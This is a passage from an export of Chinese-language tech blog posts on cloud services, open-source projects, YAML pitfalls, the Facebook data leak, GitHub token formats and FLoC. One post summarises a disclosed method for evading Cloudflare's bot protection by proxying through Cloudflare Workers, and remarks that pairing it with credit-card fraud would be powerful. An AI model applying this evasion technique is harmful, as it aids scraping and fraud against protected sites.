below).</blockquote>\r\n\r\n目前丟出來的測試數據可以看到有大幅改善，但仔細看居然是停機與恢復時間：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UfRxn8J.webp\" /><img src=\"https://i.gslin.com/imgur/UfRxn8J.png\" alt=\"\" /></picture>\r\n\r\n不知道實際的效能上有多少影響 (正面或是負面)，還是得等了...",
    "title": "Kafka 拔掉 ZooKeeper 的進展已經進到 trunk"
  },
  {
    "id": "10101",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 CloudWatch Metric Streams，把 CloudWatch Metric 的資料往 <a href=\"https://aws.amazon.com/kinesis/data-firehose/\">Kinesis Data Firehose</a> 裡面丟：「<a href=\"https://aws.amazon.com/blogs/aws/cloudwatch-metric-streams-send-aws-metrics-to-partners-and-to-your-apps-in-real-time/\">CloudWatch Metric Streams – Send AWS Metrics to Partners and to Your Apps in Real Time</a>」。\r\n\r\n其中一個賣點是即時性比用 API 去拉好很多：\r\n\r\n<blockquote>In order to make it easier for AWS Partners and others to gain access to CloudWatch metrics faster and at scale, we are launching CloudWatch Metric Streams. Instead of polling (which can result in 5 to 10 minutes of latency), metrics are delivered to a Kinesis Data Firehose stream.</blockquote>\r\n\r\n格式上可以是 JSON 或是 <a href=\"https://opentelemetry.io/\">Open Telemetry</a>：\r\n\r\n<blockquote>When you set up a stream you choose between the binary Open Telemetry 0.7 format, and the human-readable JSON format.</blockquote>\r\n\r\n另外一個賣點是價位，每千次 $0.003：\r\n\r\n<blockquote>Pricing – You pay $0.003 for every 1000 metric updates, and for any charges associated with the Kinesis Data Firehose. To learn more, check out the pricing page.</blockquote>\r\n\r\n另外算一下 Kinesis Data Firehose 的價錢，是以資料量的大小計費，不過最小計價單位是 5KB (一筆應該是不會到)，單價是 $0.029/GB (<code>us-east-1</code>) 或是 $0.037/GB (<code>ap-southeast-1</code>)，算了一下跟 CloudWatch Metrics Streams 比起來只是零頭...\r\n\r\n之前如果要自己拉出來的話是透過 API call 抓，每 1000 次是 USD$0.01，這個方法相較起來便宜不少，不過數量多的時候還是一筆費用 (而且有不少 metrics 是一分鐘更新一次)。\r\n\r\n如果只是要備份起來或是跑分析的話，也許先前用 API 拉的作法可能還是比較好？一個小時拉一次對於備份與分析應該都很夠了，而 alarm 的機制還是掛在 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 上。\r\n\r\n這次產品的定位看起來是要把 ecosystem 做起來：\r\n\r\n<blockquote>We designed this feature with the goal of making it easier & more efficient for AWS Partners including Datadog, Dynatrace, New Relic, Splunk, and Sumo Logic to get access to metrics so that the partners can build even better tools.</blockquote>",
    "title": "AWS 推出 CloudWatch Metric Streams"
  },
  {
    "id": "10104",
    "body": "看到「<a href=\"https://github.com/wez/wezterm\">Wez's Terminal</a>」，又一個用 GPU 加速的 terminal 專案，跑去翻一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，意外的翻到有趣的東西：「<a href=\"https://news.ycombinator.com/item?id=26633708\">Wezterm – A GPU-accelerated cross-platform terminal emulator and multiplexer (github.com/wez)</a>」。\r\n\r\n目前最前面的討論是這個：\r\n\r\n<blockquote>I just saw this and after a quick checkout of the latest release (which is what I can quickly install), I feel a bit disappointed. Here is yet another GPU-accelerated terminal that claims to be a VT500 (judging by its Device Attributes report), sets TERM to xterm-256color, while having holes in basic VT100 support (just ran VTTEST in it and saw glaring issues, need not look further than basic VT100 tests, TAB setting/resetting, cursor save/restore).</blockquote>\r\n\r\n比較有趣的是裡面提到了 <a href=\"https://en.wikipedia.org/wiki/Vttest\">vttest</a> 這套測試軟體可以測 terminal 的標準相容性，在 vttest 的官網上有提到可以測 <a href=\"https://en.wikipedia.org/wiki/VT100\">VT100</a>、<a href=\"https://en.wikipedia.org/wiki/VT220\">VT220</a> 與 <a href=\"https://en.wikipedia.org/wiki/VT520\">VT520</a>：\r\n\r\n<blockquote>Vttest tests the compatibility (demonstrates the non-compatibility) of so-called “VT100-compatible” terminals. In conformance of the good old hacker traditions, the only documentation of this program is the source code itself. To understand it, you also need a copy of the original VT100 manual from DEC.\r\n\r\nAdditional tests (past version 1.7) are provided for analysis of vt220 through vt520 terminals, as well as variants of xterm.</blockquote>\r\n\r\n另外比較驚訝的是，terminal 下可以作到這樣的效果 (這邊看官方的截圖應該是 <a href=\"https://en.wikipedia.org/wiki/VT420\">VT420</a>？)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/i6sDfga.webp\" /><img src=\"https://i.gslin.com/imgur/i6sDfga.png\" alt=\"\" /></picture>\r\n\r\n回到原來講標準相容性的問題，對於泡在 terminal 下的人來說超級重要，有工具可以測試幫助不少... vttest 這套程式在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 內可以直接裝來用：「<a href=\"https://packages.ubuntu.com/search?keywords=vttest\">Ubuntu – Package Search Results -- vttest</a>」。",
    "title": "用 vttest 測試 terminal 程式實做的相容性"
  },
  {
    "id": "10105",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的，<a href=\"https://en.wikipedia.org/wiki/YAML\">YAML</a> 寫多的人都遇過類似的問題：「<a href=\"https://hitchdev.com/strictyaml/why/implicit-typing-removed/\">The Norway Problem - why StrictYAML refuses to do implicit typing and so should you</a>」，對應的討論「<a href=\"https://news.ycombinator.com/item?id=26671136\">The Norway Problem (hitchdev.com)</a>」也可以看一下。\r\n\r\n第一個「經典」是字串不需要包起來就很容易出事，這邊提到的例子是因為保留字而中槍，挪威的簡碼 <code>NO</code> 變成 <code>False</code> 了：\r\n\r\n<pre>countries:\r\n- GB\r\n- IE\r\n- FR\r\n- DE\r\n- NO</pre>\r\n\r\n<pre>&gt;&gt;&gt; from pyyaml import load\r\n&gt;&gt;&gt; load(the_configuration)\r\n{'countries': ['GB', 'IE', 'FR', 'DE', False]}</pre>\r\n\r\n同樣的是字串問題，「看起來」是數字的就會變成數字：\r\n\r\n<pre>python: 3.5.3\r\npostgres: 9.3</pre>\r\n\r\n然後還是字串，人名遇到保留字：\r\n\r\n<pre>first name: Christopher\r\nsurname: Null</pre>\r\n\r\n這種問題都是碰過一次學一次...\r\n\r\n作者另外提到的 <a href=\"https://hitchdev.com/strictyaml/\">StrictYAML</a> 改變了 YAML 規格，我會看看就好，能用 <a href=\"https://www.json.org/\">JSON</a> 也許還是會偏好先用 JSON，不是完全解決，但踩雷的機率會少很多。",
    "title": "YAML 的問題 (挪威問題)"
  },
  {
    "id": "10107",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=26670495\">MapLibre GL is a free and open-source fork of mapbox-gl-JS (github.com/maplibre)</a>」這篇，翻了一下資料發現年初時 <a href=\"https://github.com/mapbox/mapbox-gl-js\">Mapbox GL JS</a> 的軟體授權從 <a href=\"https://github.com/mapbox/mapbox-gl-js/releases/tag/v2.0.0\">v2.0.0</a> 開始變成不是 open source license (本來是 <a href=\"https://en.wikipedia.org/wiki/BSD_licenses\">BSD license</a>)，而社群也馬上 fork 最後一個 open source 版本並且投入開發，變成 <a href=\"https://github.com/maplibre/maplibre-gl-js\">MapLibre GL</a>。\r\n\r\n<a href=\"https://www.maptiler.com/\">MapTiler</a> 在年初的時候有提到這件事情：「<a href=\"https://www.maptiler.com/news/2021/01/mapbox-gl-open-source-fork/\">MapLibre: Mapbox GL open-source fork</a>」。\r\n\r\n<blockquote>The community reacted swiftly: forks of the latest open-source version were made almost immediately by multiple parties. In another positive development, the community came together the next day and agreed to make this a joint effort, rather than splitting energies. A video call was organized and the MapLibre coalition was formed. It includes people working for MapTiler, Elastic, StadiaMaps, Microsoft, Ceres Imaging, WhereGroup, Jawg, Stamen Design, etc.</blockquote>\r\n\r\nMapLibre GL 目前與本來 <a href=\"https://github.com/mapbox/mapbox-gl-js/releases/tag/v1.13.0\">v1.13.0</a> 相容，可以直接抽換過去 (後來在二月的時候有出一個 <a href=\"https://github.com/mapbox/mapbox-gl-js/releases/tag/v1.13.1\">v1.13.1</a>，不過那是在 v2.0.0 改 license 之後的事情了)：\r\n\r\n<pre>\r\n  \"dependencies\": {\r\n-    \"mapbox-gl\": \"^1.13.0\"\r\n+    \"maplibre-gl\": \"&gt;=1.14.0\"\r\n  }\r\n</pre>\r\n\r\n記錄一下，以後要在網站上用的話，得注意到 Mapbox GL JS 在沒有註冊的情況下不能使用，而且 SDK 會強制蒐集資料：\r\n\r\n<blockquote>Mapbox gl-js version 2.0 or higher (“Mapbox Web SDK”) must be used according to the Mapbox Terms of Service. This license allows developers with a current active Mapbox account to use and modify the Mapbox Web SDK. Developers may modify the Mapbox Web SDK code so long as the modifications do not change or interfere with marked portions of the code related to billing, accounting, and anonymized data collection. The Mapbox Web SDK only sends anonymized usage data, which Mapbox uses for fixing bugs and errors, accounting, and generating aggregated anonymized statistics. This license terminates automatically if a user no longer has an active Mapbox account.</blockquote>\r\n\r\n不過如果是抓 OpenStreetMap 資料的話，<a href=\"https://leafletjs.com/\">Leaflet</a> 應該還是目前的首選...",
    "title": "Mapbox GL JS 的授權改變，以及 MapLibre GL 的誕生"
  },
  {
    "id": "10108",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=26688390\">How to bypass Cloudflare bot protection (jychp.medium.com)</a>」這則，裡面的文章是「<a href=\"https://jychp.medium.com/how-to-bypass-cloudflare-bot-protection-1f2c6c0c36fb\">How to bypass CloudFlare bot protection ?</a>」這篇，利用 <a href=\"https://workers.cloudflare.com/\">Cloudflare Workers</a> 繞過 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 自家的 <a href=\"https://en.wikipedia.org/wiki/CAPTCHA\">CAPTCHA</a> 機制。\r\n\r\n這個漏洞有先被送給 Cloudflare，但被認為不是問題，所以作者就決定公開：\r\n\r\n<blockquote>Several months ago I submitted what appeared to be a security flaw to CloudFalre’s bugbounty program. According to them, this is not a problem, it’s up to you to make up your own mind.</blockquote>\r\n\r\n技術上就是透過 Cloudflare Workers 當作 proxy server，只是看起來 Cloudflare 對自家 IP 有特別處理，在設定妥當後，用 Cloudflare Workers 的 IP address 去連 Cloudflare 的站台，幾乎不會觸發 Cloudflare 的阻擋機制。\r\n\r\n不過 free tier 還是有限制，主要就是數量：\r\n\r\n<blockquote>The first 100,000 requests each day are free and paid plans start at just $5/10 million requests, making Workers as much as ten-times less expensive than other serverless platforms.</blockquote>\r\n\r\n作者也有提到這點：\r\n\r\n<blockquote>So let’s enjoy the 100 000 request/day for your free Cloudflare account and go scrape the world !</blockquote>\r\n\r\n但這是個有趣的方法，加上信用卡盜刷之類的方式，這整包看起來就很有威力...",
    "title": "利用 Cloudflare Workers 繞過 Cloudflare 自家的阻擋機制"
  },
  {
    "id": "10110",
    "body": "這兩天應該已經有很多其他媒體報導了 <a href=\"https://www.facebook.com/\">Facebook</a> 5.33 億筆資料外洩的事情：「<a href=\"https://www.businessinsider.com/stolen-data-of-533-million-facebook-users-leaked-online-2021-4\">533 million Facebook users' phone numbers and personal data have been leaked online</a>」。\r\n\r\n據稱是用 2019 年的洞撈出來的，不過這份資料看起來也不是完整資料，舉個例子來說，台灣只有 73 萬筆左右，而且也少了很多地區，像是泰國就不在列表內...\r\n\r\n另外一個比較特別的是，<a href=\"https://en.wikipedia.org/wiki/Mark_Zuckerberg\">Mark Zuckerberg</a> 的電話也在這次外洩資料裡面：「<a href=\"https://www.businessinsider.com/mark-zuckerberg-phone-number-facebook-leak-data-reports-2021-4\">Mark Zuckerberg's phone number appeared among the leaked data of Facebook users, according to a researcher</a>」，應該會換號碼了。\r\n\r\n這包資料看起來會這陣子會很熱門...",
    "title": "Facebook 5.33 億筆個資外洩，以及 Mark Zuckerberg 的電話..."
  },
  {
    "id": "10112",
    "body": "長久以來的洞總算有比較好的方法補上了，<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 Amazon Route 53 Resolver DNS Firewall：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/03/introducing-amazon-route-53-resolver-dns-firewall/\">Introducing Amazon Route 53 Resolver DNS Firewall</a>」。\r\n\r\nRoute 53 Resolver 是 AWS 官方提供的 DNS Resolver，沒有特殊的設定的話通常會在 <code>x.x.x.2</code> (<code>/24</code> 或是更大的網段)，先前一直沒有辦法解決 data leak 的問題，也就是透過 DNS 把敏感資料從 private network 裡丟出去。\r\n\r\n以前的作法是透過 security group 擋掉對 Route 53 Resolver 的流量 (或是透過 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 的 Firewall 擋)，然後自己架設兩台 DNS resolver 過濾，現在 Route 53 Resolver 支援 DNS Firewall，提供 allowlist 與 blocklist 這兩個功能使用，總算是把這件事情解的比較乾淨了：\r\n\r\n<blockquote>Route 53 Resolver DNS Firewall lets you create “blocklists” for domains you don’t want your VPC resources to communicate with via DNS. You can also take a stricter, “walled-garden” approach by creating “allowlists” that permit outbound DNS queries only to domains you specify. You can also create alerts for when outbound DNS queries match certain firewall rules, allowing you to test your rules before deploying for production traffic.</blockquote>\r\n\r\n另外這次的 DNS Firwall 提供了兩組由 AWS 維護的清單讓人使用，包括了 malware 與 botnet：\r\n\r\n<blockquote>Route 53 Resolver DNS Firewall offers two managed domain lists—malware domains and botnet command and control domains—enabling you to get started quickly with managed protections against common threats.</blockquote>\r\n\r\n這樣省事多了...",
    "title": "AWS 推出 Amazon Route 53 Resolver DNS Firewall"
  },
  {
    "id": "10114",
    "body": "<a href=\"https://github.com/\">GitHub</a> 前幾天宣佈更換 API token 的格式：「<a href=\"https://github.blog/changelog/2021-03-31-authentication-token-format-updates-are-generally-available/\">Authentication token format updates are generally available</a>」，在今年三月初的時候有先公告要換：「<a href=\"https://github.blog/changelog/2021-03-04-authentication-token-format-updates/\">Authentication token format updates</a>」。\r\n\r\n另外昨天也解釋了換成這樣的優點：「<a href=\"https://github.blog/2021-04-05-behind-githubs-new-authentication-token-formats/\">Behind GitHub’s new authentication token formats</a>」。\r\n\r\n首先是 token 的字元集合變大了：\r\n\r\n<blockquote>The character set changed from <code>[a-f0-9]</code> to <code>[A-Za-z0-9_]</code></blockquote>\r\n\r\n另外是增加了 prefix 直接指出是什麼種類的 token：\r\n\r\n<blockquote>The format now includes a prefix for each token type:\r\n<ul>\r\n\t<li><code>ghp_</code> for Personal Access Tokens</li>\r\n\t<li><code>gho_</code> for OAuth Access tokens</li>\r\n\t<li><code>ghu_</code> for GitHub App user-to-server tokens</li>\r\n\t<li><code>ghs_</code> for GitHub App server-to-server tokens</li>\r\n\t<li><code>ghr_</code> for GitHub App refresh tokens</li>\r\n</ul>\r\n</blockquote>\r\n\r\n另外官方目前先不會改變 token 長度 (透過字元變多增加 entropy)，但未來有打算要增加：\r\n\r\n<blockquote>The length of our tokens is remaining the same for now. However, GitHub tokens will likely increase in length in future updates, so integrators should plan to support tokens up to 255 characters after June 1, 2021.</blockquote>\r\n\r\n看起來當初當作 hex string 而轉成 binary 會有問題，不過就算這樣做應該也是轉的回來的。\r\n\r\n回到好處的部份，這個作法跟 <a href=\"https://slack.com/\">Slack</a> 與 <a href=\"https://stripe.com/\">Stripe</a> 類似，讓開發者或是管理者更容易辨識 token 的類型：\r\n\r\n<blockquote>As we see across the industry from companies like Slack and Stripe, token prefixes are a clear way to make tokens identifiable. We are including specific 3 letter prefixes to represent each token, starting with a company signifier, <code>gh</code>, and the first letter of the token type.</blockquote>\r\n\r\n另外這也讓 secret scanning 的準確度更高，本來是 40 bytes 的 hex string，有機會撞到程式碼內的 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> string：\r\n\r\n<blockquote>Many of our old authentication token formats are hex-encoded 40 character strings that are indistinguishable from other encoded data like SHA hashes. These have several limitations, such as inefficient or even inaccurate detection of compromised tokens for our secret scanning feature.</blockquote>\r\n\r\n另外官方也建議現有的 token 換成新的格式，這樣如果真的發生洩漏，可以透過 secret scanning 偵測並通知：\r\n\r\n<blockquote>We strongly encourage you to reset any personal access tokens and OAuth tokens you have. These improvements help secret scanning detection and will help you mitigate any risk to compromised tokens.</blockquote>",
    "title": "GitHub 的 API Token 換格式"
  },
  {
    "id": "10115",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html\">AMI</a> 可以跨區複製了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/04/amazon-ec2-allows-copy-amazon-machine-images-across-aws-govcloud-aws-china-other-regions/\">Amazon EC2 now allows you to copy Amazon Machine Images across AWS GovCloud, AWS China and other AWS Regions</a>」。\r\n\r\n如同公告提到的，在這個功能出來以前，想要產生一樣的 image 得重新在 build 一份：\r\n\r\n<blockquote>Previously, to copy AMIs across these AWS regions, you had to rebuild the AMI in each of them. These partitions enabled data isolation but often made this copy process complex, time-consuming and expensive.</blockquote>\r\n\r\n有一些限制，image 大小必須在 1TB 以下，另外需要存到 <a href=\"https://aws.amazon.com/s3/\">S3</a> 上，不過這些限制應該是還好：\r\n\r\n<blockquote>This feature provides a packaged format that allows AMIs of size 1TB or less to be stored in AWS Simple Storage Service (S3) and later moved to any other region.</blockquote>\r\n\r\n然後目前只有透過 cli 操作的方式，或是直接用 SDK 呼叫 API，看起來 web console 還沒提供：\r\n\r\n<blockquote>This functionality is available through the AWS Command Line Interface (AWS CLI) and the AWS Software Development Kit (AWS SDK). To learn more about copying AMIs across these partitions, please refer to the documentation.</blockquote>",
    "title": "Amazon EC2 提供跨區直接複製 AMI (Image) 的功能"
  },
  {
    "id": "10116",
    "body": "<a href=\"https://www.djangoproject.com/\">Django</a> 3.2 LTS 出了：「<a href=\"https://www.djangoproject.com/weblog/2021/apr/06/django-32-released/\">Django 3.2 released</a>」，對應的 release note 可以在「<a href=\"https://docs.djangoproject.com/en/3.2/releases/3.2/\"></a>Django 3.2 release notes」這邊看到。\r\n\r\n這個版本比較特別，一般版本提供大約 15 個月的支援，LTS 版本則提供 36 個月的支援，不過目前用起來的感覺還是鼓勵大家平常就要安排升級計畫，不然 3.2 升級到 4.2 鐵定是個超痛苦的過程。\r\n\r\n昨天把 Django 3.1 的專案升級上 3.2 後，跑 test case 就遇到「<a href=\"https://docs.djangoproject.com/en/3.2/releases/3.2/#customizing-type-of-auto-created-primary-keys\">Customizing type of auto-created primary keys</a>」這邊描述的問題，目前先用 <code>DEFAULT_AUTO_FIELD = 'django.db.models.AutoField'</code> 解，其他的倒是沒什麼問題...\r\n\r\n幾個我覺得有趣的，像是 <a href=\"https://jsonlines.org/\">JSONL</a> 格式：\r\n\r\n<blockquote>The new JSONL serializer allows using the JSON Lines format with dumpdata and loaddata. This can be useful for populating large databases because data is loaded line by line into memory, rather than being loaded all at once.</blockquote>\r\n\r\n然後不支援 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 9.5 與 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6 了：\r\n\r\n<blockquote>Upstream support for PostgreSQL 9.5 ends in February 2021. Django 3.2 supports PostgreSQL 9.6 and higher.</blockquote>\r\n\r\n<blockquote>The end of upstream support for MySQL 5.6 is April 2021. Django 3.2 supports MySQL 5.7 and higher.</blockquote>\r\n\r\n很久前寫 Django 1.x，然後就荒廢很久，最近是從 3.0 開始寫，有些東西熟一點以後覺得怪怪的，之後要找時間測一些東西，修正對 Django 的用法。",
    "title": "Django 3.2 LTS"
  },
  {
    "id": "10117",
    "body": "前幾天應該很多媒體都有報導了，這邊算是整理一下看到的資料。\r\n\r\n美國最高法院公佈的全文在「<a href=\"https://www.supremecourt.gov/opinions/20pdf/18-956_d18f.pdf\">18-956_d18f.pdf</a>」這邊可以看到，算是最重要的資料。\r\n\r\n另外很多地方也有更新，像是維基百科上面的條目「<a href=\"https://en.wikipedia.org/wiki/Google_LLC_v._Oracle_America%2C_Inc.\">Google LLC v. Oracle America, Inc.</a>」。\r\n\r\n這次的案件在軟體產業也很關注，難得可以在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 upvote 超過四千的新聞：「<a href=\"https://news.ycombinator.com/item?id=26699106\">Google’s copying of the Java SE API was fair use [pdf] (supremecourt.gov)</a>」，不過裡面的討論我覺得就是鄉民拿著爆米花的感覺...\r\n\r\n第一個重要的消息當然是 6-2 認定 fair use，並且讓聯邦法院重審 (但最高法院已經把最重要的部份拍板定案了)，不過要注意的是，對於更基本的問題「API 是否有著作權」並沒有定案：\r\n\r\n<blockquote>In April 2021, the Supreme Court ruled in a 6–2 decision that Google's use of the Java APIs fell within the four factors of fair use, bypassing the question on the copyrightability of the APIs. The decision reversed the Federal Circuit ruling and remanded the case for further review.</blockquote>\r\n\r\n判決全文 PDF 的前面三頁多算是簡介說明這次的重點，Page 44 到 Page 62 則是反對的兩位大法官 (<a href=\"https://en.wikipedia.org/wiki/Clarence_Thomas\">Clarence Thomas</a> 與 <a href=\"https://en.wikipedia.org/wiki/Samuel_Alito\">Samuel Alito</a>) 所提出的異議，可以看到兩位大法官批評了 copyrightability 與 fair-use analysis 的問題。\r\n\r\n這次的結果對軟體與網路產業影響超級大，舉個例子來說，一堆公司都有推出與 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 相容 API 的產品 (這邊是 Network-based API)。另外 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 直接拿 <a href=\"https://www.chromium.org/\">Chromium</a> 的 Manifest 格式來相容降低開發者開發 extension 的成本。\r\n\r\n之後應該可以看到大家用的更爽了...",
    "title": "Google 與 Oracle 對 Java API 爭議的案子"
  },
  {
    "id": "10118",
    "body": "前陣子跟朋友聊天的時候，才想到好像沒有公開提這件事情...\r\n\r\n學術網路上的 news server 似乎都掛差不多了，就花了一些時間用 <a href=\"https://en.wikipedia.org/wiki/InterNetNews\">INN</a> 架了一台 news server，然後找了兩個 peering 對接，給自己的 BBS 站台用：「<a href=\"https://newsfeed.hasname.com/\">newsfeed.hasname.com</a>」。\r\n\r\n一般目前比較常用的是 <a href=\"https://news.aioe.org/\">news.aioe.org</a>，不過有限制每天最多只能發 40 則：\r\n\r\n<blockquote>In order to avoid mass abuses, every IP address is authorized to post no more than 40 messages per day.</blockquote>\r\n\r\n有架設 BBS 站又想要弄轉信的朋友可以來戳一下，需要有固定 IP address 就是了。",
    "title": "架了一台 News Server"
  },
  {
    "id": "10119",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 推出的新功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/04/amazon-ec2-auto-scaling-introduces-warm-pools-accelerate-scale-out-while-saving-money/\">Amazon EC2 Auto Scaling introduces Warm Pools to accelerate scale out while saving money</a>」。\r\n\r\n重點只有這個，這個作法是先把機器準備好，然後關掉放在 stopped 狀態：\r\n\r\n<blockquote>Additionally, Warm Pools offer a way to save compute costs by placing pre-initialized instances in a stopped state.</blockquote>\r\n\r\n理論上可以快到 30 秒：\r\n\r\n<blockquote>Now, these applications can start pre-initialized, stopped instances to serve traffic in as low as 30 seconds.</blockquote>\r\n\r\n不過考慮到就算是 stopped 的機器，啟動時還是得去確認有沒有新版程式... 目前可以理解的部份，應該是加快 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的準備時間吧？",
    "title": "Amazon EC2 Auto Scaling 支援 Warm Pools"
  },
  {
    "id": "10122",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://www.elastic.co/elasticsearch/\">Elasticsearch</a> 的戰爭繼續升溫，AWS 出來喊，搞了自己的 community 要跟本家 PK：「<a href=\"https://aws.amazon.com/blogs/opensource/introducing-opensearch/\">Introducing OpenSearch</a>」，衍生出來的兩套軟體分別是 <a href=\"https://github.com/opensearch-project/OpenSearch\">OpenSearch</a> (對應 Elasticsearch) 與 <a href=\"https://github.com/opensearch-project/OpenSearch-Dashboards\">OpenSearch Dashboards</a> (對應 <a href=\"https://www.elastic.co/kibana\">Kibana</a>)。\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=26780848\">OpenSearch: AWS fork of Elasticsearch and Kibana (amazon.com)</a>」裡面有些討論還蠻精彩的，其中這段：\r\n\r\n<blockquote>One thing which surprised me: Elastic has a market capitalization of ~$11B.\r\n\r\nI think that changes some of the more floaty ethical concerns. This is not a David vs Goliath situation. This is Goliath vs Super-Goliath.</blockquote>\r\n\r\n雖然就公司市值比例來看，大約是 100:1 這個數量級的公司在打架 (AWS 的母單位 <a href=\"https://www.amazon.com/\">Amazon</a> 大約在 USD$1T 的等級)，但這其實這不是小蝦米被大鯨魚欺負的故事，而是大公司跟暴力超大公司之間的打架。\r\n\r\n會怎麼演變其實猜不出來，但因為在 open source search engine 技術這塊的確缺乏其他像樣的競爭者，AWS 這樣丟資源進來未必是件壞事。\r\n\r\n另外一方面，這件事情對商業公司在在 open source 的其他領域則是比較負面，很明顯的 Amazon 這樣玩對於其他以 open source 為基礎的商業公司處境就更嚴峻了。",
    "title": "AWS 對 Elasticsearch 的戰爭：OpenSearch"
  },
  {
    "id": "10123",
    "body": "看到「<a href=\"https://www.vidarholen.net/contents/blog/?p=1035\">What exactly was the point of [ “x$var” = “xval” ]?</a>」這篇，在講為什麼不直接寫 <code>[ \"$var\" = \"val\" ]</code> 而是會加上 <code>x</code> 而寫成 <code>[ \"x$var\" = \"xval\" ]</code>，被稱為 x-hack 的 workaround... (其實已經變成 best practice 了)\r\n\r\n最常被拿出來講的是 <code>-</code> 開頭的字串，不過文章作者找到更多奇怪的 bug report，像是 <code>(</code> 與 <code>)</code> 之類的問題 XD\r\n\r\n雖然作者提到大概在 2010 (或是 2015) 都修完了，但我應該還是會繼續這樣寫 (算是 best practice 了)，可以避免在遇到老系統上遇到問題...",
    "title": "Shell Script 裡面 [ \"x$var\" = \"xval\" ] 的歷史"
  },
  {
    "id": "10125",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈讓大家免費使用 <a href=\"https://www.cloudflare.com/products/argo-tunnel/\">Argo Tunnel</a> 了，也順便改名為 Cloudflare Tunnel 了：「<a href=\"https://blog.cloudflare.com/tunnel-for-everyone/\">A Boring Announcement: Free Tunnels for Everyone</a>」。\r\n\r\n<blockquote>Starting today, we’re excited to announce that any organization can use the secure, outbound-only connection feature of the product at no cost. You can still add the paid Argo Smart Routing feature to accelerate traffic.</blockquote>\r\n\r\n<blockquote>As part of that change (and to reduce confusion), we’re also renaming the product to Cloudflare Tunnel. To get started, sign up today.</blockquote>\r\n\r\nCloudflare Tunnel 的功能就像 <a href=\"https://ngrok.com/\">ngrok</a>，在用戶端的機器上跑一隻 agent 連到 Cloudflare 或是 ngrok 的伺服器，這樣外部連到 Cloudflare 或是 ngrok 的伺服器後就可以透過這組預先建好的連線連上本機的服務了，常見的應用當然就是 HTTP(S) server。\r\n\r\n本來是付費功能，一般使用者應該也不會需要這個功能，這次把這個功能免費丟出來的用意不知道是什麼...\r\n\r\n不過既然都免費了，還是花了點時間測了一下，可以發現 ngrok 的設定比較簡單，Cloudflare 的 <a href=\"https://github.com/cloudflare/cloudflared\">cloudflared</a> 設定起來複雜不少，不過文件還算清楚，照著設就好。\r\n\r\nAnyway，有些事情有了 Cloudflare Tunnel 就更方便了，像是有些超小型的 VPS 是共用 IPv4 address 而且沒有 IPv6 address 的，可以透過 cloudflared 反向打進去提供服務，同樣的，在 NAT 後面的機器也可以透過這個方法很簡單的打通。\r\n\r\n順便說一下，現在的 <a href=\"https://blog.gslin.org/\">blog.gslin.org</a> 就是跑在 cloudflared 上面了，官方提供的 ARM64 binary 跑在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 <code>t4g</code> 上面目前看起來沒有什麼問題，而且比起本來 <a href=\"https://nginx.org/\">nginx</a> 都是抓到 Cloudflare 本身的 IP，現在加上這兩行後反而就可以抓到真的使用者 IP address 了：\r\n\r\n<pre>\r\n    set_real_ip_from 127.0.0.1;\r\n    real_ip_header X-Forwarded-For;\r\n</pre>\r\n\r\n跑一陣子看看效果如何...",
    "title": "試用 Cloudflare 的 Argo Tunnel"
  },
  {
    "id": "10127",
    "body": "<a href=\"https://www.google.com/\">Google</a> 打算在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 裡面強推的 <a href=\"https://en.wikipedia.org/wiki/Federated_Learning_of_Cohorts\">FLoC</a> 最近有很多消息，但因為沒看完 spec 就一直丟著了... 可以先參考 <a href=\"https://ithome.com.tw/\">iThome</a> 的「<a href=\"https://ithome.com.tw/news/143829\">繼Brave瀏覽器之後，DuckDuckGo、Vivaldi也要封鎖Google FLoC廣告投放技術</a>」，雖然裡面提的很淺。\r\n\r\n目前檯面上除了廣告產業以外，所有看到的人與組織都反對 FLoC。\r\n\r\n從 <a href=\"https://www.eff.org/\">EFF</a> 的「<a href=\"https://www.eff.org/deeplinks/2021/03/googles-floc-terrible-idea\">Google’s FLoC Is a Terrible Idea</a>」，之後 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 也發表了「<a href=\"https://spreadprivacy.com/block-floc-with-duckduckgo/\">Use the DuckDuckGo Extension to Block FLoC, Google’s New Tracking Method in Chrome</a>」，再來是 <a href=\"https://brave.com/\">Brave</a> 的「<a href=\"https://brave.com/why-brave-disables-floc/\">Why Brave Disables FLoC</a>」與 <a href=\"https://vivaldi.com/\">Vivaldi</a> 的「<a href=\"https://vivaldi.com/blog/no-google-vivaldi-users-will-not-get-floced/\">No, Google! Vivaldi users will not get FLoC’ed.</a>」。\r\n\r\n最新的進展是 <a href=\"https://wordpress.org/\">WordPress</a> 決定把 FLoC 當作 security concern 來看，打算直接推出 security hotfix 更新，預設關閉 FLoC：「<a 